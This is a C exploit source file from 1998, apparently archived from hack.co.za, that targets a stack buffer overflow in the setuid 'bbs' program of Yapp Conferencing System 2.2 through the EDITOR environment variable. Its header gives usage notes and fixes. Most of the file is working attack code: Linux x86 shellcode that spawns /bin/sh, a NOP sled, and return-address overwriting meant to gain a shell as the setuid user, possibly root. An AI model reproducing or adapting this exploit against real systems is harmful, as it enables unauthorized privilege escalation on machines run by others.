/*
 * Exploit for "Yapp Conferencing System, Version 2.2".
 * By Dave Bowman, for Sandra, on January 13 1998.
 *
 * Description:
 *
 * The Yapp Conferencing System client handles environment variables
 * without doing bounds checking, allowing one to overflow a buffer 
 * in the "bbs" executable onto the stack. Using this technique, it
 * possible to obtain a shell running as the user which Yapp is setuid
 * to (in some cases, root).
 *
 * Usage:
 *
 * bash$ gcc -o yapp_exploit yapp_exploit.c
 * bash$ ./yapp_exploit
 * bash#
 *
 * You'll have to change the definition of "BBS_PROGRAM" in the source. You
 * may also need to alter the offset, but -1000 worked for me.
 *
 * Temporary fix:
 *
 * bash# chmod u-s /usr/local/bin/bbs
 *
 * Long term fix:
 *
 * Either change the sprintf (3) call on line 215 of macro.c to something
 * which checks the bounds of the data it copies, or simply force strings
 * read in from the environment to a specific length, i.e.
 *
 * env_string [511] = '\0';
 *
 * if your buffer was 512 characters wide. Please keep in mind however,
 * in terms of security, Yapp is a _very_ poorly writen program and
 * should probably not run setuid anyone, let alone root. If you can
 * possibly avoid it, don't run Yapp setuid.
 *
 * And without further ado...
 *
 */

#if ! defined (__i386__) || ! defined (__linux__)
#error Intel 80x86/Linux platform required.
#endif

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define BUFFSIZE	512 - strlen ("EDITOR=")	/* Size of buffer. */
#define OFFSET		-1000				/* Offset. */
#define BBS_PROGRAM	"/home/dave/yapp/bbs"		/* Path to program. */

/* Function which returns the base address of the stack. */
long get_esp (void)
{
  __asm__ ("movl %esp, %eax\n");
}

/* Machine code instructions to execute /bin/sh, I had them here in */
/* global for a reason and now I just don't feel like playing with */
/* the stack offset anymore. */
unsigned char exec_shell [] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

/* Main function, duh. */
int main (void)
{
  unsigned char buff [518];		/* Buffer to hold our data. */
  unsigned char *ptr;			/* Pointer. */
  int count;				/* Counter. */
  unsigned long *address_ptr;		/* Long pointer. */

  /* First we fill the buffer with NOP instructions. */
  (void) memset (buff, 0x90, sizeof (buff));

  /* Then we copy our shell code into the buffer. */
  ptr = buff;
  ptr += BUFFSIZE - strlen (exec_shell);
  for (count = 0; count < strlen (exec_shell); count++)
    *ptr++ = exec_shell [count];

  /* Now we insert our return address into ebp and eip. */
  address_ptr = (unsigned long *) &buff [509];
  for (count = 0; count < 2; count++)
    *address_ptr++ = get_esp () + OFFSET;

  /* Here we terminate the buffer as a string... */
  ptr = (unsigned char *) address_ptr;
  *ptr = '\0';

  /* And attempt to load it into our environment. */
  unsetenv ("EDITOR");
  if (setenv ("EDITOR", buff, 1))
    {
      perror ("setenv");
      exit (1);
    }

  /* Finally, we execute Yapp. */
  (void) execl (BBS_PROGRAM, BBS_PROGRAM, NULL);
  perror (BBS_PROGRAM);
  exit (1);
}
/*                    www.hack.co.za              [2000]*/